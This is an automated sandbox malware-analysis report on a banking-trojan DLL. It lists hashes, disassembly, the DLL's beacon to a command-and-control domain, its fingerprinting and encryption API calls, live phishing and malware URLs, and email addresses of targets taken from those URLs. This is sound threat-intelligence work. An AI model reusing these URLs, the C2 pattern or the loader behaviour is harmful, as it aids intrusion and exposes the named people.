Classification:	mal72.bank.evad.winDLL@6/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 72 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: e.dll

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Sales_Contract_Main_417053608_09.2024.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.com	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Sales_Contract_Main_417053608_09.2024.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	hesaphareketi-01.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://links.rasa.io/v1/t/eJx1kM2OgjAUhV_FsB6kpUXQ1bzAuJp9c2mvTI1Q0tvGEMO7DzCKC51t73d-em5J9JfksEl-QujpkGXR19A13sUet9q1W4iZJko-NkmLAQwEmOhbQi56jbPwiFe6YAjoXyBswS7mBiwN2nVXGCSTn838PrvPCg8EqkUiaFCFoV9Na2_x9I0Uvv6OK0yxPqMO6tlhsmpjZ8OgppCTbaKHYF33IFflk7Nm1u3LUgDjp5QXRqZ1qU0KOYNUij0T1U7ntaxeOhJ2Rk1_XJJzlsuUs5TxlfOonTf3BF5UohBl9aZCj56mjv9wjzQfV0TIXck5E_I9RBTxjh5dt8wFtQrTgMr18xzrZRzHX-Cephc=#a2FyZW4ubW9vbmV5QGJhbGxhcmRkZXNpZ25zLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Message_2477367.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	Swift_ach Complaints.sppgCQDM.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.69.9
	Passport.vbs	Get hash	malicious	Unknown	Browse	104.21.69.9
	Aj#U00e1nlatk#U00e9r#U00e9s 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.21.69.9
	18000012550_20240930_0078864246#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.69.9
	PRORA#U010cUNSKA ZAHTEVA 09-30-2024#U00b7pdf.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	104.21.69.9
	A 413736796#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.69.9
	Solicitud de presupuesto 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.21.69.9
	SOLICITUD DE PEDIDO (Universidade de S#U00e3o Paulo (USP))09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.21.69.9
	Recibo de transferencia#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.69.9
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.69.9

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.857208389757357
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	e.dll
File size:	2'228'224 bytes
MD5:	972d3e17b96745be89b80ec5d8f4f9d3
SHA1:	e97c6461bbdcd91566f4cb75b456e399b7fe06c2
SHA256:	b116511e3960ab5fa53ad6a3243240be11235ebdc323705827713cf12a9aeeda
SHA512:	060b6a99fae4af1d869cd23b84ab2b18d69eeba5ff60ac1355e605e5ecfe049b41fb52dc5989cdac90572133389673cc48fe366494bcb01de278bf93a247982a
SSDEEP:	49152:kwNgYx8UccgdkvUADkwkxSnTyCbJux8OwyvW:kwBVcNgUyZbnTytPTW
TLSH:	90A502BDB064C781D64B397F7E0A332DB53A17805187AD26E51778AE70236EC11B42BB
File Content Preview:	MZ......................@............................................q...q...q..0/...q..u...q...,...q.......q..u...q....V..q.......q..M....q..Rich.q..............PE..L...q3.f...........!......... !.....P.............@..........................."........

File Icon


Icon Hash:	0f372331d982ca5a

Static PE Info

General

Entrypoint:	0x401450
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x66F43371 [Wed Sep 25 15:59:45 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	abe607481ac2953967a12ac99e7e578f

Entrypoint Preview

Instruction
inc edx
inc edx
inc eax
add dword ptr [00433320h], esp
inc eax
dec eax
inc edx
dec eax
jmp 00007F5C4490523Fh
dec eax
mov eax, esi
push eax
pop dword ptr [00433310h]
xor edx, 0Ah
inc edx
mov eax, edx
xor dword ptr [00433318h], ebx
mov eax, edi
push eax
pop dword ptr [00433314h]
mov dword ptr [0043331Ch], ebp
lea eax, dword ptr [00401210h]
call eax
jmp 00007F5C449051E3h
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
xor edx, 5Fh
mov dword ptr [ebp+00h], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
push eax
mov eax, 00000001h
mov dword ptr [ebp-04h], 00000000h
add esp, 04h
pop ebp
ret
nop
nop

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf694	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20f000	0x6d28	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x216000	0x9a4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xf030	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x30	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc910	0xd000	d8c6c2ce2710e51965ec969f1e605308	False	0.09927133413461539	data	1.5511921998856308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.crt1	0xe000	0x4e	0x1000	029ebcb0413d7a466159aef461509fff	False	0.025634765625	data	0.19194904064040105	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x837	0x1000	3936868e1249266d25c6c43831ecaa9c	False	0.298583984375	data	2.7036873961689896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x10000	0x24200	0x24000	728fa214bf78861ed2be0464e5b2e851	False	0.2669542100694444	data	6.204494425770218	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
z4g	0x35000	0x7a4cf	0x7b000	398319310efec22a8e1707da92eb10be	False	0.9946666190294715	data	7.995421677975023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qm	0xb0000	0x70e8f	0x71000	fa2c61d59fecbab30f271e9278c4e647	False	0.9991314643252213	data	7.99943170498821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
L	0x121000	0xe7504	0xe8000	d17b37313f02147b68341a0bca06f4bf	False	0.9966262291217672	data	7.997710795649098	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
CONST	0x209000	0xd88	0x1000	b052a42265a0ef04c82877e017c33121	False	0.7548828125	data	7.057514057791508	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3	0x20a000	0x13a0	0x2000	6c371933aac1ef87a68049c0aca61de8	False	0.5489501953125	data	5.6043812950914065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
buicKDZl	0x20c000	0xf0e	0x1000	ecb3c30a4d5685f7394de862efbb63cd	False	0.756591796875	data	6.855147821668895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
CRT	0x20d000	0x1920	0x2000	f44e399cc7eb92f94e27ac6c5b5c2312	False	0.7213134765625	data	6.598433129737103	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x20f000	0x6d28	0x7000	85992fe593ac7adce6fc2d273bfa339c	False	0.30946568080357145	data	5.688832279317778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x216000	0xada8	0xb000	96222f6edd2ec89fd0af45e507598034	False	0.1380282315340909	data	5.6863785572940495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x20f310	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia	0.5469043151969981
RT_ICON	0x2103b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.600177304964539
RT_ICON	0x210820	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia	0.5107879924953096
RT_ICON	0x2118c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.648936170212766
RT_ICON	0x211d30	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia	0.5668386491557224
RT_ICON	0x212dd8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.6551418439716312
RT_ICON	0x213240	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia	0.5905253283302064
RT_ICON	0x2142e8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.6826241134751773
RT_ICON	0x214750	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia	0.5466697936210131
RT_ICON	0x2157f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.6445035460992907
RT_GROUP_ICON	0x215c60	0x22	data	Russian	Russia	1.0588235294117647
RT_GROUP_ICON	0x215c88	0x22	data	Russian	Russia	1.0588235294117647
RT_GROUP_ICON	0x215cb0	0x22	data	Russian	Russia	1.0588235294117647
RT_GROUP_ICON	0x215cd8	0x22	data	Russian	Russia	1.0588235294117647
RT_GROUP_ICON	0x215d00	0x22	data	Russian	Russia	1.0588235294117647

Imports

DLL	Import
OLEAUT32.dll	VarBoolFromR4
KERNEL32.dll	GetSystemTimeAsFileTime, GetStdHandle, SuspendThread, LoadLibraryExW, OutputDebugStringA, GetModuleFileNameW, GetBinaryTypeW
GDI32.dll	BitBlt

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 15:13:41.206187963 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.206321955 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:13:41.206552029 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.233659029 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.233724117 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:13:41.538127899 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:13:41.538325071 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.538325071 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.569322109 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.569375992 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:13:41.569978952 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:13:41.570198059 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.572062016 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:13:41.616287947 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:14:22.473273993 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:14:22.473858118 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:14:22.473865986 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:14:22.474410057 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:14:22.475591898 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:14:22.475593090 CEST	49768	443	192.168.11.20	104.21.69.9
Oct 1, 2024 15:14:22.475667000 CEST	443	49768	104.21.69.9	192.168.11.20
Oct 1, 2024 15:14:22.475821018 CEST	49768	443	192.168.11.20	104.21.69.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 15:13:41.063515902 CEST	53051	53	192.168.11.20	1.1.1.1
Oct 1, 2024 15:13:41.200373888 CEST	53	53051	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 15:13:41.063515902 CEST	192.168.11.20	1.1.1.1	0x9f81	Standard query (0)	w0t.lol	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 15:13:41.200373888 CEST	1.1.1.1	192.168.11.20	0x9f81	No error (0)	w0t.lol		104.21.69.9	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:13:41.200373888 CEST	1.1.1.1	192.168.11.20	0x9f81	No error (0)	w0t.lol		172.67.202.143	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

w0t.lol

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49768	104.21.69.9	443	856	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:13:41 UTC	714	OUT	GET /S2wueuBWcKItxJBxaKQWGAqL7hMS3sfSm3IIJcJI-UnDuhqZF3FZYmhcdfYjgTH9ls8toERqLL6uvqWxks5TXG7p4KTZE3NtE0QUExXonRRsVxuWAUUUBfY4OBn0j6WOD9WysDP09mb9Mw2zw25E4216qfUiBb1_-f0hXmBwm-5V3zs05mClVySIs4Q2owQXkeB3urgLrouGFuJF9ZudjP54bzXceldzNx2o8pCLFM6WK1vNqyQJ4ZGEs5wabg119exWDBy_U0fDfIKkmquk4nx095rTVG61p-61BBPfkxzOTkQYmZHX6uOiApQ41hZ0OE5yH5VhrRws_4Dk7blD-zRqQGci0UruB3OYd7fIEanuxbGDB6PoPMh8nJxhyUjELjSu3EwICQdnYkBbiVs2LkVCWKmmn2lIaQTzB-OoNpw-dg1CW7D5qiS6SoaepRg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: w0t.lol Connection: Keep-Alive
2024-10-01 13:14:22 UTC	306	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Oct 2024 13:14:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate CF-Cache-Status: DYNAMIC Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcb62419383343-MIA
2024-10-01 13:14:22 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-10-01 13:14:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:12:45
Start date:	01/10/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\e.dll"
Imagebase:	0xd10000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:12:45
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7e9d70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:12:45
Start date:	01/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\e.dll",#1
Imagebase:	0xef0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:12:45
Start date:	01/10/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\e.dll",#1
Imagebase:	0x7f0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20%
Total number of Nodes:	15
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040BAC0 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetBinaryTypeW.KERNEL32 ref: 0040BB1E

Memory Dump Source

Source File: 00000000.00000002.89094717953.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.89094687410.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094717953.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094776577.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094805713.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094855256.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094883864.0000000000435000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89095257309.000000000060F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_loaddll32.jbxd

Similarity

API ID: BinaryType
String ID:
API String ID: 3726996659-0
Opcode ID: f08c01220cdb92308e6675d8711dd31eef13735afd4c0da1eb9ca56311e6b591
Instruction ID: f04447051f637acae275e0fc76e63c99c49ac1912a4e59a5da11b41603d828b7
Opcode Fuzzy Hash: f08c01220cdb92308e6675d8711dd31eef13735afd4c0da1eb9ca56311e6b591
Instruction Fuzzy Hash: E81121B094021C8BDB20DF64E9483ECBBB0FB10304F1041AAD409A76C4D3755AC9CFDA

Non-executed Functions

Function 0040C340 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.89094717953.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.89094687410.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094717953.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094776577.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094805713.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094855256.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094883864.0000000000435000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89095257309.000000000060F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dbdcf60662948e2ff885b22cd55f1fd29c6a08333cf398e80a49c496a15d30f
Instruction ID: 934b070544ea70db5ffccdbbb63979c1f88a9cc566a2ff2b6c6b34971c7bcd6a
Opcode Fuzzy Hash: 2dbdcf60662948e2ff885b22cd55f1fd29c6a08333cf398e80a49c496a15d30f
Instruction Fuzzy Hash: 5551D874A04215DFDB04CF98C4D4ABDB7B1FB88304F60856AD812EB3E0D739A991DB5A

Function 00401090 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.89094717953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.89094687410.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094717953.000000000040B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094776577.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094805713.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094855256.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89094883864.0000000000435000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.89095257309.000000000060F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ccadd71a06bf1081c8144345e47d34f7834f5881eba21348e0591e335b0186
Instruction ID: c9c4745f8ce940bcd58fb37baa10aaa24998e04b54fc61a643b04cc763f264f7
Opcode Fuzzy Hash: 72ccadd71a06bf1081c8144345e47d34f7834f5881eba21348e0591e335b0186
Instruction Fuzzy Hash: 5EF012B19043199FD710CF59E94046ABBF4FB49321B50C43EE898D7340D770A944CF65

Analysis Process: rundll32.exePID: 856, Parent PID: 2460COMMON

Execution Graph

Execution Coverage:	28.4%
Dynamic/Decrypted Code Coverage:	99%
Signature Coverage:	78.1%
Total number of Nodes:	105
Total number of Limit Nodes:	8

Executed Functions

Function 27AC1120 Relevance: 96.8, APIs: 42, Strings: 13, Instructions: 569
encryptionprocessmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 27AC116C
SHGetValueA.SHLWAPI(80000001,SOFTWARE\Microsoft\Mediaplayer,COMPUTERNAME,?,?), ref: 27AC11B9
SHSetValueA.SHLWAPI(80000001,SOFTWARE\Microsoft\Mediaplayer,COMPUTERNAME,00000001,?), ref: 27AC11E0
UuidCreateSequential.RPCRT4(?), ref: 27AC11F5
sprintf.NTDLL ref: 27AC122C
RtlComputeCrc32.NTDLL(00000000,?,00000000), ref: 27AC124F
GlobalAlloc.KERNEL32(00000040,00001000,00000000,?,00000000), ref: 27AC1266
sprintf.NTDLL ref: 27AC128C
RtlComputeCrc32.NTDLL(00000000,?,00000000), ref: 27AC12CB
sprintf.NTDLL ref: 27AC13CA
RtlComputeCrc32.NTDLL(00000000,?,00000000), ref: 27AC1401
sprintf.NTDLL ref: 27AC1434
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 27AC144A
sprintf.NTDLL ref: 27AC145F
GetCommandLineA.KERNEL32 ref: 27AC1467
sprintf.NTDLL ref: 27AC1475
memset.NTDLL ref: 27AC1482
CryptBinaryToStringA.CRYPT32(?,00000030,4000000C,?,?,?,?,?,00000000,00000030,00000000), ref: 27AC14F3
sprintf.NTDLL ref: 27AC150C
memset.NTDLL ref: 27AC155E
EnumDisplaySettingsA.USER32(?,000000FF,?), ref: 27AC1578
sprintf.NTDLL ref: 27AC15AE
memcpy.NTDLL(0000000C,00000000,?), ref: 27AC165B
memcpy.NTDLL(00000080,?,?,00000000,?,00000000,?,?,?,?,?,?,00000000,00000030,00000000), ref: 27AC167D
memset.NTDLL ref: 27AC16BF
GlobalFree.KERNEL32(00000000), ref: 27AC16C8
CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,?,00000000,?,00000000), ref: 27AC1703
CryptDecodeObjectEx.CRYPT32(00010001,00000008,27AC1000,000000A2,00008000,00000000,?,00000000), ref: 27AC1738
CryptImportPublicKeyInfo.CRYPT32(?,00000001,?,?), ref: 27AC1755
CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000,00000080), ref: 27AC1774
CryptBinaryToStringA.CRYPT32(00000000,?,40000001,?,00000000), ref: 27AC17D6
memset.NTDLL ref: 27AC17E3
GlobalFree.KERNEL32(00000000), ref: 27AC17EC
URLDownloadToCacheFileA.URLMON(00000000,00000000,?,00000105,00000000,00000000), ref: 27AC183B
